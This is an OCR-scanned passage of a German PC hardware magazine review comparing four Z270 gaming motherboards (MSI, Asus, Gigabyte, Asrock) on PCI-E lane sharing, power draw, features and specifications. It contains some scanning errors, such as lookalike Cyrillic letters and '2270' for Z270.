boards garantiert mit einem Kaby- 
Lake-tauglichen UEFI ausgeliefert 
werden, sondern übernimmt auch 
die Verbesserungen des letzten 
Sockel-2011-v3-Vergleichs (PCGH 


10/2016). Vor allem komplexe PCI- 
Express-Layouts werden jetzt bes- 
ser erfasst, größere Auswirkungen 
auf die Endnote hat aber die neue 
Gewichtung der  Leistungsmes- 
sungen. Das alte Wertungssystem 
versuchte, kleinste Performance- 
Unterschiede herauszuarbeiten, 
wodurch in der Praxis unspürbare 
1-2 Fps Vorsprung in Witcher 2 
oder 2-3 Sekunden Rückstand bei 
der Fotokonvertierung starke Aus- 
wirkungen auf die Leistungsnote 
hatten. Das neue Wertungssystem 
ist hier entspannter, sodass nun 
eher die großen Unterschiede bei 
Spannungswandlertemperaturen, 
Boot-Zeiten und Stromverbrauch 
die Rangfolge bestimmen. 
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Da sich nur die Bewertung der Er- 
gebnisse, nicht aber die Messme- 
thoden selbst geändert haben, kön- 
nen wir das neue Verfahren auch 
rückwirkend anwenden und haben 
den Einkaufsführer entsprechend 
aktualisiert. Davon profitieren vor 
allem Mainboards mit guter Austat- 
tung und leicht unterdurchschnitt- 
licher Performance, wie  MSIs 
Z170A Gaming M7 (+2 Plätze) und 
EVGAs PCIE-Monster Z170 Classi- 
fied 4-way (+5 Plätze). 


M.2, U.2 & PCI-E-Slots: PCH 

Nicht monströs, aber ansehnlich 
ist die PCI-Express-Ausstattung des 
Z270-PCHs. Bereits der Vorgänger 
bot bis zu 20 Lanes, von denen 
je vier ihren High-Speed-IO-Port 
(HSIO) mit SATA-Anschlüssen und 
mit den USB-3.0-Ports sieben bis 
zehn teilten. Da sechs USB-3.0- 
Anschlüsse in Gegenwart und ein 
zusátzlicher 3.1-Controller vielen 
Anwendern reichen, waren so auf 
Z170-Mainboards meist 14 PCI-E- 
Lanes des PCH für Onboard-Funkti- 
onen und Erweiterungskarten ver- 
fügbar. Mit der neuen Generation 
steigt die Zahl um vier reine PCI-E- 
HSIOs auf bis zu 24, typischerweise 
aber 18 Lanes - die weiterhin mit 
4 GB/s an die CPU angebunden 
werden. Da Laufwerkscontroller, 
Netzwerk und andere Peripherie 
die meiste Zeit nicht mit voller 
Leistung laufen, ist dieser Flaschen- 
hals in der Praxis von geringer Be- 
deutung, nur RAID-Verbünde aus 
NVME-SSDs werden ausgebremst. 


Genutzt werden die Ressourcen 
des Z270 bei allen vier Testkandi- 
daten unter anderem für drei х1-, 
einen x4 und zwei M.2-m-Key-Slots 
für schnelle NVME-SSDs. Bei Giga- 
byte gibt es zusätzlich noch einen 
U.2-Anschluss, dessen Performance 
der von M.2 entspricht und der 
sich auch leicht mit M.2-auf-U.2- 
Adaptern nachrüsten ließe, falls 
man denn eines der bei Heiman- 
wendern seltenen 2,5-Zoll-NVME- 
Laufwerke besitzt. Nützlicher sind 
die M.2-e-Key-Slots im I/O-Bereich 
von Asus und Asrock. Diese neh- 
men zwar keine SSDs, dafür aber 
WLAN-Module auf. 


SATA- und PCI-E-Sharing 

Laufwerke 
bei allen Testteilnehmern über 
sechs vom РСН bereitgestellte 
SATA-6-GBit/s-Ports 


Alternativ lassen sich 


anschließen, 
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Asrock verbaut zusätzlich einen 
AS-Media-Controller für zwei wei- 
tere Laufwerke. Dieser ist auch 
nötig, denn der Funktionsumfang 
aller Testteilnehmer übersteigt die 
Ressourcen des Z270. Bei Asrock 
sharen sogar beide M.2-Slots mit 
jeweils zwei SATA-Anschlüssen, so 
dass zusätzlich zu zwei M.2- ma- 
ximal zwei SATA-Laufwerke ange- 
bunden werden könnten, würde 
der AS-Media-Controller nicht 
aushelfen. Auch bei den anderen 
drei Herstellern geht jeweils einer 
der beiden M.2 zu Lasten von zwei 
SATA-Ports. Der andere M.2 nutzt 
bei MSI und Asus seine Ressourcen 
exklusiv, bei Gigabyte shared er 
dagegen alle seine Lanes mit dem 
x4-Slot. Zum Ausgleich ist der U.2- 
Anschluss sharing-frei - in unse- 
ren Augen eine Fehlentscheidung, 
denn der Markt bietet wesentlich 
weniger U.2- als M.2-Laufwerke. 


Zusätzlich gibt es bei Gigabyte 
und Asus auch Lane-Sharing bei 
x1-Slots. Während Asus den x4-Slot 
auf x2 ausbremst, sobald der dritte 
x 1-Slot belegt wird, shared letzterer 
bei Gigabyte kreativer Weise mit ei- 
nem SATA-Port. Kein Lane-Sharing, 
aber physikalische Limitierungen 
schränken bei MSI die Nutzung 
des dritten x1-Slots ein, der sich 
unter dem Kühler der Grafikkarte 
versteckt. Dafür verschwindet der 
obere M.2-Slot nicht so leicht unter 
großen CPU-Kühlern, was aber nur 
wenige Nutzer schätzen dürften. 


PCI-E-for-Graphics: CPU 

Der Z270 bietet zwar mehr Lanes 
als sein Vorgänger, aber GPUs 
lassen sich wegen der 4-GB/s- 
langsamen DMI-Verbindung zum 
Prozessor weiterhin nicht sinnvoll 
über den PCH anbinden, sondern 
nutzen die 16 Lanes des zweiten, 
CPU-eigenen PCI-Express-Con- 
trollers. Aufgeteilt werden diese 
bei allen Testteilnehmern einheit- 
lich auf einen echten x16-Slot an 
ATX-Position 2 und einen mecha- 
nischen x16-Slot, der sich bei Nut- 
zung acht Lanes des ersten klaut, an 
ATX-Position 5. So bleibt relativ viel 
Platz für grofse CPU-Kühler und es 
lassen sich prinzipiell zwei Triple- 
Slot-Grafikkarten nutzen - von de- 
nen die obere aber nur noch sehr 
wenig Platz zum Luft ansaugen hät- 
te, weswegen Dual- oder 2,5-Slot- 
Designs móglicherweise die besse- 
re Wahl sind. 


Stromverbrauch: MSI am sparsamsten 


Rechner aus: Soft-off inklusive 80-Plus-Gold-Netzteil 


MSI 7270 Gaming Pro Carbon EEE 1,0 (Basis) 
Gigabyte Z270X-Gaming 7 Eu 1,0 (0 96) 
Asus Maximus IX Него EX 1,5 (+50 96) 
Asrock 2270 Gaming K6 E 2,6 (+160 90) 


Leerlauf: Windows-Desktop inklusive 80-Plus-Gold-Netzteil 


MSI Z270 Gaming Pro Carbon EX 36,5 (Basis) 
Asrock 2270 Gaming Кб wa 45,3 (+15 96) 
Gigabyte Z270X-Gaming 7 EX 45,6 (+15 96) 
Asus Maximus IX Него RE 48,2 (+22 96) 
Volllast: Witcher 2 + Prime 95 (4 Threads) inkl. 80-Plus-Gold-Netzteil 
MSI Z270 Gaming Pro Carbon EXE 291 (Basis) 
Asus Maximus IX Hero aë 302 (+4 96) 
Gigabyte Z270X-Gaming 7 E 310 (+7 96) 
Asrock Z270 Gaming K6 ERR) 317 (+9 96) 


System: i7-6700K, Palit GTX 980 Ti SJS 110 96 Power-, 91 °C Temp-Target; 2 x 8 GiB 
DDR4-2133 Bemerkungen: MSI ganz vorn, Asrock ganz hinten — zumindest beim 
Stromverbrauch unterscheidet sich die 2270-Generation deutlich von den Vorgängern. 


Watt 
< Besser 


Lp 
Ог; 


ато 


SU мы 


Mone 


Für SLI-Verbünde zwischen Nvidia-Pascal-Grafikkarten werden HB-SLI-Brücken emp- 
fohlen. Drei von vier Testteilnehmern werden damit ausgeliefert. 


? 


Kein Internet trotz Dual-LAN? 
Im Karton des Asrock 7270 
Gaming K6 fanden wir diese 
Alternative zur E-Mail. 
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MSI Z270 Gaming Pro Carbon 


Z170 Gaming Pro und Pro Carbon waren MSIs beliebteste Gamer- und Case-Modder-0fferten in der oberen Mittelklasse. Der Nachfolger erweitert die Be- 
leuchtungsoptionen, verzichtet auf polarisierende Farbakzente und bietet dank Z270 einen Sharing-freien M.2-Slot extra. Vor allem aber arbeitet die neue 
Spannungsversorgung sehr effizient, was sowohl Stromverbrauch als auch Temperaturen senkt und so trotz Ausstattungsrückstand den Testsieg bringt. 


M.2-Kühler integriert 

Das Z270 Pro Gaming Carbon erreicht 
nicht nur die niedrigsten Spannungswand- 
ler- und PCH-Temperaturen im Test, der 
zweite M.2-Slot (teilt zwei Lanes mit zwei 
SATA-Ports) verfügt auBerdem über einen 
Metall-Heatspreader mit Wärmeleitpad für 
hitzköpfige SSD-Controller. 


ARE хоч 
eeh 


A" 


USB für VR und mehr 

Mit insgesamt 16 USB-Anschlüssen (3.1 + 
3.0 +2.0, sowohl extern als auch intern) 
schlägt Mal sogar das Maximus IX Hero. 
Der als „VR ready" markierte externe 
USB-3.0-Port soll sich dank eines Signal- 
verstárkers besonders gut für die langen 
Kabel von VR-Headsets eignen. 


Wenig Zusatzcontroller, wenig PCI-Express-Lane-Sharing © 
MSI versteckt einen PCI-E-x 1-Slot nutzlos unter dem Grafikkartenkühler, während die erste 
ATX-Slotposition ungenutzt bleibt. Zwei weitere HSIO-Ports des PCH werden für einen siebten 
und achten USB-3.0-Port geopfert, aber da das günstigste Board im Test nur einen USB-3.1- 
und einen LAN-Zusatzcontroller nutzt, kommt es trotzdem nur einmal zu Lane-Sharing. 


Asus Republic of Gamers Maximus IX Hero 


Asus’ Z270-Generation bringt ein neues Design und eine neue Marktaufteilung, in der das „Hero” den Einstieg in die ROG-Sparte darstellt — günstigere 
Platinen heißen in Zukunft „Strix”. Das Ausstattungsniveau hat sich dadurch aber nicht geändert. Im Vergleich zum Vorgänger profitiert das Hero nicht nur 
von den zusätzlichen Lanes des Z270, sondern bietet auch einzigartige Extras zur Kühlungsoptimierung sowie einen verbesserten Onboard-Sound. 


High-End-Sound onboard 
Unter der , SupremeFX" -Kappe steckt 
laut Asus ein ,S1220"-Audioprozessor 
— wir tippen auf Realteks ALC1220, mit 
dem man sich zumindest die Treiber teilt. 
Wichtiger für den Klang ist ohnehin der 
hochwertige ES9023P DAC - einen On- 
board-Sound-Vergleich liefern wir nach. 


Lüftersteuerung onboard 
Lüfter regeln kónnen heute alle Main- 
boards, mit acht PWM-Anschlüssen setzt 
Asus nur quantitativ einen Bestwert. Drei 
Anschlüsse für externe Temperaturfühler 
und einen Eingang für Wasserküh- ^ : Ae еу! m EGRE ERE ғ 
lungs-Durchflussmesser gab es bislang t "ia 
aber nur bei teuren Zubehörlösungen. 


Mehr USB 3.1 und mehr PCI-E-Sharing als erwartet o 
Asus verbaut einen zweiten USB-3.1-Controller für bislang nicht verfügbare Front-Panels mit 
Spezialstecker und auch zahlreiche andere Onboard-Features. Der 7270 kann diese selbst 

dann nicht anbinden, wenn man zwei Lanes zwischen SATA und M.2 teilt, wie im Handbuch 
angegeben. Auf Anfrage bestätigt Asus: Auch der dritte x 1-Slot leiht sich eine Lane beim x4. 
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7270: RAM, OC, Kühlung 

So einheitlich wie bei den Grafik- 
kartenoptionen pràsentieren sich 
die Testteilnehmer auch im Prozes- 
sorumfeld. Zwei DDR4-Kanäle mit 
je zwei Slots sind typisch für die 
Sockel-1151-Plattform und bei allen 
Mainboards lassen sich diese mit 
Takt- und Spannungseinstellungen 
weit oberhalb der Anforderungen 
heutiger Speichermodule betrei- 
ben. Auch bei der Übertaktung von 
Kaby- und Skylake-CPUs kann man 
sich nach Herzenslust austoben, al- 
lenfalls Rekordjäger mit Flüssigstoff 
könnten sich über das mit 1,55 V 
sinnvoll niedrige Kernspannungs- 
limit des MSI Z270 Pro Gaming 
Carbon ärgern. Für Normalnutzer 
störender: Bei Gigabyte und Asrock 
fehlt weiterhin eine adaptive Span- 
nungsregelung, die übertaktete 
CPUs bei geringer Belastung und 
abgesenktem Takt mit der von Intel 
spezifizierten Spannung versorgt. 
Theoretisch kónnte dieses Feature 
per UEFI-Update nachgereicht wer- 
den - zumindest Gigabyte hat hier 
ohnehin noch Arbeit vor sich, denn 
bei unserem Testmuster war der 


Deaktivierungsschalter für den All- 
Core-Turbe funktionslos. Um die 
Test-CPU trotzdem innerhab der 
Intel-Spezifikationen zu betreiben 
und so Vergleichbarkeit zu wahren, 
mussten wir den maximalen Tur- 
botakt absenken. 

Aus  Übertaktersicht ebenfalls 
verbesserbar ist die Spannungs- 
wandlerkühlung des Asrock Z270 
Gaming Кб. Im Gegensatz zur Z170- 
Generation messen wir in diesem 
Test zwar nirgendwo hohe oder gar 
bedenkliche Temperaturen, Asrock 
liegt aber klar hinter der sehr gu- 
ten Konkurrenz und ein Blick auf 
das Board offenbart eine einfache 
Optimierungsoption: Im Ausliefe- 
rungszustand verdeckt eine Blen- 
de über dem I/O-Bereich Teile des 
Spannungswandlerkühlers. 


Optik-Features 

Plastikabdeckungen für die obere 
linke Ecke und bei drei von vier 
Testkandidaten auch den Audio- 
Bereich an der unteren linken 
Mainboardkante gehóren in der 
Z270-Generation offenbar zum gu- 


ten Ton - und eine Beleuchtung 
derselben sowie des PCH-Kühlers 
ist Pflicht. MSI untermalt das Ganze 
mit LEDs auf der Mainboardrück- 
seite und Gigabyte platziert wei- 
tere Leuchtelemente nicht nur an 
den  Grafikkartenslots, 
verbaut sogar extra beleuchtete 
Plexiglasstreifen zwischen den 
RAM-Slots und ап der oberen rech- 
ten Mainboard-Kante. Zusätzlich 
gibt es bei allen Herstellern einen 
Anschluss für separate LED-Strei- 
fen aus dem (Gehäuse-)Zubehör, 
die dann zusammen mit der Main- 


sondern 


board-eigenen Beleuchtung über 
das UEFI, Windows-Tools oder 
sogar Smartphone-Apps gesteuert 
werden kónnen. Neben der Leucht- 
stärke und Blinkeffekten lässt sich 
hier bei allen Herstellern. auch 
die Lichtfarbe einstellen, so dass 
die durchgängig in Schwarz oder 
Schwarz-Weiß/-Silber gehaltenen 
Mainboards an das eigene Case- 
Mod-Konzept angepasst werden 
können. Zur Erleichterung aller 
Freunde einer dezenten Optik las- 
sen sich die Showeffekte aber auch 
komplett abschalten. 


Onboard-Sound & -Grafik 

Nicht ins Auge, sondern ins Ohr ge- 
hen die Soundlösungen der Testteil- 
nehmer. Entsprechend der Ober- 
klassepositionierung finden sich 
hier beim Asus Maximus IX Hero 
und Gigabytes Z270X-Gaming 7 
echte Hochkaräter mit Bauteilen, 
die wir so auch von Asus- respek- 
tive Creative-Soundkarten kennen. 
Bei den etwas einfacher gehalte- 
nen Lösungen von Asrock und MSI 
fehlt diese technische Vergleichs- 
möglichkeit, wir planen aber für 
eine der kommenden Ausgaben 
eine ausführliche Analyse. Erste 
Hörproben bestätigen bereits, dass 
der neue Realtek-ALC1220-Codec 
gegenüber dem für die viele An- 
sprüche bereits ausreichendem 
ALC1150-Vorgänger noch einmal 
ein Stückchen besser geworden ist. 


Externe Schnittstellen 

Meist mehr als nur „ausreichend“ 
sollten die externen Anschlüsse 
sein. Alle Testteilnehmer bieten 
je eine USB-3.1-Typ-A- und -Typ- 
C-Buchse am I/O-Panel und dazu 
vier, bei Gigabyte sogar fünf USB- 
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3.0-Ports. Eigentliches Highlight 
des Z270X-Gaming 7 ist aber der 
Thunderbolt-3-Controller hinter 
den USB-3.1-Anschlüssen, dessen 
40-GBit/s-Fähigkeiten leider wei- 
terhin nur von eher teurer Hard- 
ware genutzt werden. Ebenso 
eingeschränkt nutzbar sind die 
Anschlüsse eines zweiten USB-3.1- 
Controllers bei Asus, dessen Fähig- 
keiten über Front-Panels genutzt 
werden sollen. Gehäuse mit einem 
passenden Anschluss sind bis Re- 
daktionsschluss aber noch keine 
angekündigt. Auch sonst gibt sich 
Asus zukunftsorientiert: PS/2 fehlt 
ebenso wie DVI, dafür gibt es aber 
vier USB-2.0-Anschlüsse für langsa- 
me Peripherie. Asrock ist offener 
für alte Hardware und steuert sogar 
VGA-Monitore an, die von Nvidia 
und AMD nicht mehr versorgt wer- 
den, sowie via Y-Kabel zwei PS/2- 
Geräte - was überraschenderweise 
auch bei MSI funktioniert. 


Insgesamt gibt sich kein Hersteller 
die Blöße, rein rechnerisch liegt 
aber ausgerechnet der voraussicht- 


lich günstigste Testteilnehmer von 
MSI vorne (UVPs waren bis Redakti- 
onsschluss nicht festgelegt). Grund 
hierfür ist die Kombination aus 
effizienter Spannungswandlung 
respektive guten -kühlern mit einer 
kurzen Bootzeit, so sichert sich das 
Z270 Gaming Pro Carbon souverän 
die beste Leistungsnote. MSIs neue 
6-Kanal-PWM-Lüfterregelung und 
das bewährte UEFI halten auch in 
der Eigenschaftenwertung das Ni- 
veau der Konkurrenz, erst bei der 
Ausstattung und dem Layout muss 
MSI Federn lassen, hat den Sieg 
aber trotzdem in der Tasche. 


Asus‘ Maximus IX Hero folgt mit mi- 
nimalem Abstand und bietet nicht 
nur eine eindrucksvolle USB-Pha- 
lanx (10 Anschlüsse am I/O-Panel!), 
sondern auch ein aufgeräumtes 
Layout und mit dem USB-3.1-Front- 
panelanschluss móglicherweise 
die bessere Alternative zu heutigen 
SATA-Express-Lósungen. Killer- 
Feature für alle, die so etwas benö- 
tigen, ist aber die integrierte Lüfter- 
steuerung. Automatismen auf dem 
Niveau eines Aquaero lassen sich 


zwar weiterhin nicht Onboard rea- 
lisieren, aber für die reine Überwa- 
chung kónnen sich viele Anwender 
den Kauf einer getrennten 100-Eu- 
ro-Lüftersteuerung sparen. Ähnlich 
hoch ist das Einsparungspotential 
im Sound-Bereich. Zwar schafft 
Asus diesen (eigenen) Markt nicht 
ganz ab, erreicht aber ein neues 
Onboard-Qualitätsniveau. 


Sparen tun auch Gigabyte-Käufer, 
neben einer einfachen Creative- 
Soundlösung erhalten sie Thunder- 
bolt-3 onboard (Controllerkarte: 
70 Euro) - und eine effektvolle 
Zimmerbeleuchtung dazu. Die bei- 
liegende HB-SLI-Brücke (auch bei 
Asus und Asrock) untermalt den 
Oberklasse-Anspruch des Z170X- 
Gaming 7, welches als einziges 
Mainboard im Test drei NVME- 
Laufwerke ohne Adapter anbindet. 
Das PCI-Express-Sharing zwischen 
diesen Anschlüssen finden wir 
zwar nicht optimal, aber insbeson- 
dere Dual-GPU-Nutzer dürften es 
zu schätzen wissen, dass sie auch 
bei verspertem Zugang zum x4-Slot 
noch dessen Lanes nutzen können. 


Die 225191, 
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SATA-Intensivnutzer sehen auch 
beim Z270 Gaming K6 Verbes- 
serungspotenzial, denn zwei der 
sharing-freien Anschlüsse müssen 
über einen Zusatzcontroller bezo- 
gen werden und sind somit nicht 
RAID-fähig. Andere Anwender pla- 
nen aber schon die Ausmusterung 
SATAs zugunsten von M.2 und sind 
damit bei Asrock goldrichtig. Kritik 
verdienen eher die knappen fünf 
Typ-A-USB-Ports am I/O-Panel und 
der hohe Stand-By-Verbrauch, Lob 
hingegen die einen Tick bessere 
Leistung in allen Benchmarks. (tv) 


Neu und besser — aber nicht viel 
Auch das beste Notensystem liefert 
nur eine Durchschnittswertung. Die 
persönlichen Schwerpunkte sollten 
Sie immer mit den Detailangaben in 
der Testtabelle abgleichen — ein gutes 
Sockel-1151-Board ist mit dem 7270 
definitiv leichter zu finden, für viele 
Nutzer könnte sich aber auch ein Blick 
in den Abverkauf der letzten (Z170-) 
Generation lohnen. 
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Gigabyte Z270X-Gaming 7 


In der PCGH 10/2016 wusste sich Gigabytes X99-Ultra Gaming mit einer eindrucksvollen RGB-Beleuchtung in Szene zu setzen, die selbst die Zwischenräume 
zwischen den RAM-Slots berücksichtigt. Mit der Z270-Generation zieht diese Optik auch in die Mittelklasse ein, zusätzlich möchte Gigabytes Gaming 7 mit 
Creative-Onboard-Sound, Intel- und Killer-LAN-Controllern, einem Sharing-freien M.2-Slot und Thunderbolt 3 punkten. 


Sound Core 3D onboard 
Creative nutzt den CA0123, unterstützt 
von zahlreichen Begleitchips, auch auf 
der hauseigenen Soundblaster-Z- und 
beinahe in Reinform auf der günstigen 
Recon-3D-Baureihe. Gigabyte kombiniert 
ihn mit einem hochwertigen, gesockelten 
Burr-Brown-Operationsverstärker. 


AUORUS 


SATA-Express? Ja, bitte! 
Während alle anderen Hersteller SATA- 
Express für tot erklärt haben, kurz nach- 
dem mit zahlreichen USB-3.1-Frontpaneln 
endlich passende Hardware am Markt 

ist, verbaut Gigabyte gleich drei Ports 

— zusätzliche Ressourcen kostet diese 
Optionserweiterung ohnehin nicht. 


Lane-Sharing: Unvermeidbar, aber vertretbar 

Was haben Thunderbolt 3, M.2, U.2 und ein x4-Slot gemeinsam? Sie zu nutzen ist teuer — 
und erfordert vier PCI-E-Lanes. Da der 2270 davon ,nur" bis zu 24 Stück bietet, teilt Gigaby- 
te vier Lanes zwischen x4- und einem M.2-Slot (x2/x2-Betrieb möglich), zwei zwischen dem 
zweiten M.2 und 2xSATA und eine zwischen einem x1-Slot und einem dritten SATA-Port. 


Asrock Fataltty Professional Series 2270 Gaming K6 


Asrock-Oberklasse-Mainboards waren lange Zeit für ein Übermaf an Zusatzcontrollern bekannt und auch das Z270 Gaming K6 punktet mit seiner Austat- 
tung. Dual-LAN, Dual-M.2 und ein SATA-Zusatzcontroller sind an Bo(a)rd, eine HB-SLI-Bridge liegt bei (wie bei Asus und Gigabyte auch) und für ein M.2- 
WLAN-Modul stehen zumindest ein separater Slot und eine Antennenhalterung im I/O-Bereich zur Verfügung. 


Form follows function 
Plastikverkleidungen für den 1/0-Вегеісһ 
sind „in“ und das Gaming Кб ist voll 
dabei. Besitzer großer Kühler müssen 
die weit vorspringende, RGB-beleuchtete 
Zier aber möglicherweise demontieren, 
auBerdem beeintráchtigt die Abdeckung 
die Kühlung der Spannungswandler. 


WLAN: optional 

Im Gegensatz zu manch anderem 
Hersteller entfernt Asrock auf günstigeren 
Platinen nur die WLAN-Module, nicht aber 
deren Halterung. Auch beim 2270 Gaming 
K6 lassen sich ein beliebiges Modul im 
M.2-e-Key-Format und Antennen am 
l/O-Panel leicht nachrüsten. 
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Sharing-arme Slots, Wahlzwang zwischen SATA und M.2 © 
Ebenso wie MSI bietet Asrock drei x1 und einen x4-Slot ohne Lane-Sharing an — dabei sind 
sogar alle x1 mechanisch zugänglich. Die knappen Ressourcen des Z270 erzwingen bei Nut- 
zung der M.2-Slots aber die Deaktivierung von je zwei SATA-Ports. Zum Ausgleich installiert 
Asrock einen ASM1061 mit zwei weiteren Anschlüssen, sodass deren vier nutzbar bleiben. 
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TOP-TECHNIK 


SOCKEL-1151- 
MAINBOARDS 


Auszug aus der Testtabelle mit 
160 Wertungskriterien. 


Produkt 
Hersteller (Website) 


Z270 Gaming Pro Ca 


MSI (www.msi.com) 


Hardware ` 


Maximus IX Hero 


Asus (www.asus.de) 


Z270X-Gaming 
Gigabyte (www.gigabyte.de) 


Z270 Gaming K6 


Asrock (www.asrock.de) 


Preis/Preis-Leistungs-Verháltnis 


unbekannt (Vorgänger: € 150,-) 


unbekannt (Vorgänger: € 230,-) 


unbekannt (Vorgänger: € 230,-) 


unbekannt (Vorgänger: € 230,-) 


Chip; UEFI-; Board-Revision 


Intel Z270; 1.23; 1.0 


Intel 7270; 0603; 1.01 


Intel Z270; F2; 1.0 


Intel 7270; 1.14; 1.02 


**Ab Sockel-Mitte. 


Gehäuse-Format; Höhe x Breite 


ATX; 305 x 244 mm 


ATX; 305 x 244 mm 


ATX; 305 x 244 mm 


ATX; 305 x 244 mm 


Ausstattung (20 %) 2,26 2,12 1,91 1,98 
Speicherslots 4x DDR4 4x DDR4 4х DDR4 4x DDR4 
PCI-E-Standard* -/3.0/3.0/3.0/3.0/3.0/3.0 3.0/3.0/-/3.0/3.0/3.0/3.0 3.0/3.0/-/3.0/3.0/3.0/3.0 3.0/3.0/-/3.0/3.0/3.0/3.0 


PCI-E-CPU-Lane-Verteilungsoptionen* 


-/x16/-/-1x0/-/- oder -/x8/-/-Ix8/-1- 


-/%16/-/-1x0/-/- oder -/x8/-/-1x8/-/- 


-/x16/-/-1x0/-/- oder -/x8/-/-Ix8/-/1- 


-/x16/-/-1x0/-/- oder -/x8/-/-1x8/-/- 


PCI-E-PCH-Lane-Verteilungsoptionen* 


—/—/1/х1/-/х1/х4 


ж 1/—/—/51/—/х0/х4 oder x1/-/-/x1/-/x1/x2 


x1/-I-/x1/-/x1/x4 oder x1/-/-Ix 1/-/x0/x4 
und 1x SATA deaktiviert 


x1/-I-Ix1I-/x1/x4 


SATA 6x 6 GBit/s (6x 2270) 6x 6 GBit/s (6x 2270) 6x 6 GBit/s (2270), 6 als Зх SATA-Express |8x 6 GBit/s (6x 2270; 2x ASM1061) 
(PCI-Express 3.0 x2) nutzbar 

M.2; U.2 1x M.2 m-Key, PCI-E-3.0-x4, 42/60/80/110 | 1x M.2 m-Key, PCI-E-3.0-x4, 42/60/80/110 — | 1x M.2 m-Key, PCI-E-3.0-x4, 42/60/80/110 | 1x M.2 m-Key, PCI-E-3.0-x4 (deaktiviert 
mm; 1x M.2 m-Key, PCI-E-3.0-x4 (deaktiviert | mm; 1x M.2 m-Key, PCI-E-3.0-x4 (deaktiviert | mm (deaktiviert 2x SATA); 1x M.2 m-Key, 2x SATA), 30/42/60/80/110 mm; 1x 
2x SATA), 42/60/80 mm 2x SATA), 42/60/80 mm; 1x M.2 e-Kay, PCI-E-3.0-x4 (deaktiviert PCI-E x4), 42/60/80 |M.2 m-Key, PCI-E-3.0-x4 (deaktiviert 2x 

PCI-E-3.0-x1 (vertikal) mm; 1x U.2, PCI-E-3.0-x4 SATA), 30/42/60/80 mm; 1x M.2 e-Key, 
PCI-E-3.0-x 1, 2230 
Onboard-LAN 1x Gigabit (Intel 1219-V) 1x Gigabit (Intel 1219-\/) 2x Gigabit (Intel 1219-V + Killer E2500) 2x Gigabit (Intel I219-V + Intel 1211-АТ) 


Monitor-Anschlüsse 


HDMI/DVI-D 


HDMI/Display-Port 


HDMI/Display-Port 


HDMI/DVI-D/D-Sub 


USB extern/intern 


2x/0x USB 3.1 (davon x1 Typ-C extern); 
4x/4x USB 3.0; 2x/4x USB 2.0 


2x/2x USB 3.1 (davon x1 Typ-C extern/x2 
USB-3.1-spezial-Front-Panel-Header); 4x/2x 
USB 3.0; 4x/2x USB 2.0 


2x/0x USB 3.1 (davon x1 Typ-C extern); 
5x/4x USB 3.0; 0x/4x USB 2.0 


2x/0x USB 3.1 (davon x1 Typ-C extern); 
4x/4x USB 3.0; 0x/6x USB 2.0 


Legacy-Schnittstellen extern/intern 


PS/2-Maus-und-Tastatur-Combo-Port 


S/2-Maus-oder-Tastatur-Flex-Port 


PS/2-Maus-und-Tastatur-Combo-Port; 
COM-Header 


Sound-Chip Realtek ALC1220 Realtek „51220“ (vermutlich ALC1220) Creative Sound Core 3D Realtek ALC1220 
Kopfhörer-Verstärker/DTS oder DDL/ Ja/nein/nein Ja/nein/nein а/пеіп/ја Ја/пеіп/пеіп 
wechselbarer ОР-АМР 


*ATX-Slot-Positionen 1/2/3/4/5/6/7, beginnend mit erster Öffnung neben I/O-Panel. 


****ganzes System mit i7-6700K und MSI GTX 980 an Seasonic-80-Plus-Gold-Netzteil. 


Audio-Aus-/Eingánge 


7.1, optisch/1x Stereo 


7.1, optisch/1x Stereo 


5.1 + 2.0, optisch/1x Stereo 


7.1, optisch/1x Stereo 


Lüfteranschlüsse 


6x 4-Ріп PWM 


8x 4-Pin PWM 


7x 4-Pin PWM 


5x 4-Pin PWM 


Sonstige Ausstattung 


Clear-CMOS-Jumper; regelbare RGB-Beleuch- 
tung; Anschluss für RGB-LED-Streifen 


Power- und Reset-Schalter; Clear-CMOS-Schal- 
ter; regelbare RGB-Beleuchtung; Anschluss für 
RGB-LED-Streifen; Anschluss für Durchfluss- 
messer; Anschluss für drei Temperatursen- 
soren; Statussegmentanzeige 


ower- und Reset-Schalter; Clear-CMOS-Schal- 
ter; Dual-UEFI; regelbare RGB-Beleuchtung; 
Anschluss für RGBW-LED-Streifen; Thun- 
derbolt-Header; Statussegmentanzeige; 2x 
Anschluss für Temperatursensoren; 
hunderbolt-3-Controller 


Power- und Reset-Schalter; Clear-CMOS-Jum- 
per; Dual-UEFI; regelbare RGB-Beleuchtung; 
Anschluss für RGB-LED-Streifen; 
Statussegmentanzeige 


Beiliegend 2x SATA-Kabel; SLI-Brücke; Y-Kabel für RGB- — | 4x SATA-Kabel; HB-SLI-Brücke; Verlängerung |4x SATA-Kabel; HB-SLI-Brücke; Verlänge- 4x SATA-Kabel; HB-SLI-Brücke; 1х Postkarte; 
LED-Streifen; Handbuch (englisch) für RGB-LED-Anschluss; Handbuch Englisch rungs-Kabel für RGBW-LED-Streifen; 2x Tempe- | Handbuch Deutsch 
ratursensor; Handbuch Englisch 
Eigenschaften (20 %) 1,79 1,58 1,97 1,78 
Abstand** CPU <> 1./2. RAM-Slot 53/62 Millimeter 54/64 Millimeter 56/65 Millimeter 52/61 Millimeter 
Abstand** CPU <> 1./2. Spannungs- |- (24 mm flach) 58/- Millimeter 62/65 Millimeter 52/- Millimeter 
wandlerkühler 
Abstand** CPU <> 1. PCI-E-x16 93 Millimeter 92 Millimeter 95 Millimeter 95 Millimeter 
Abstand PEG 1<>2 2 Slots 2 Slots 2 Slots 2 Slots 


CPU-/Ring-Multiplikator/BCLK 


Anheb- und absenkbar/einstellbar/einstellbar 


Anheb- und absenkbar/einstellbar/einstellbar 


Anheb- und absenkbar/einstellbar/einstellbar 


Anheb- und absenkbar/einstellbar/einstellbar 


CPU-Spannung 


Offset +0 bis +0,35 V 


Offset +0 bis +0,35 V 


Offset +0 bis +0,35 V 


Offset +0 bis +0,35 V 


Vcore adaptiv/Offset nach oben/nach 
unten/Vdroop-Gegenmaßnahme 


Jalja/ja/ja, konfigurierbar 


Ja/ja/ja/ja, konfigurierbar 


Nein/ja/ja/ja, konfigurierbar 


Nein/ja/nein/ja, konfigurierbar 


VCCIO/IMC-/PCH-Spannung 


Einstellbar/einstellbar/einstellbar 


Einstellbar/einstellbar/einstellbar 


Einstellbar/einstellbar/einstellbar 


Einstellbar/einstellbar/einstellbar 


Maximal wählbarer Speichertakt 


DDR4-4133 


DDR4-4266 


DDR4-4133 


DDR4-4133 


Maximale Speicherspannung 


2,20 Volt 


2,40 Volt 


2,00 Volt 


1,80 Volt 


Lüftersteuerung Kurve konfigurierbar; CPU + weitere Lüfter Kurve konfigurierbar; CPU + weitere Lüfter Kurve konfigurierbar; CPU + weitere Lüfter Kurve konfigurierbar; CPU + weitere Lüfter 
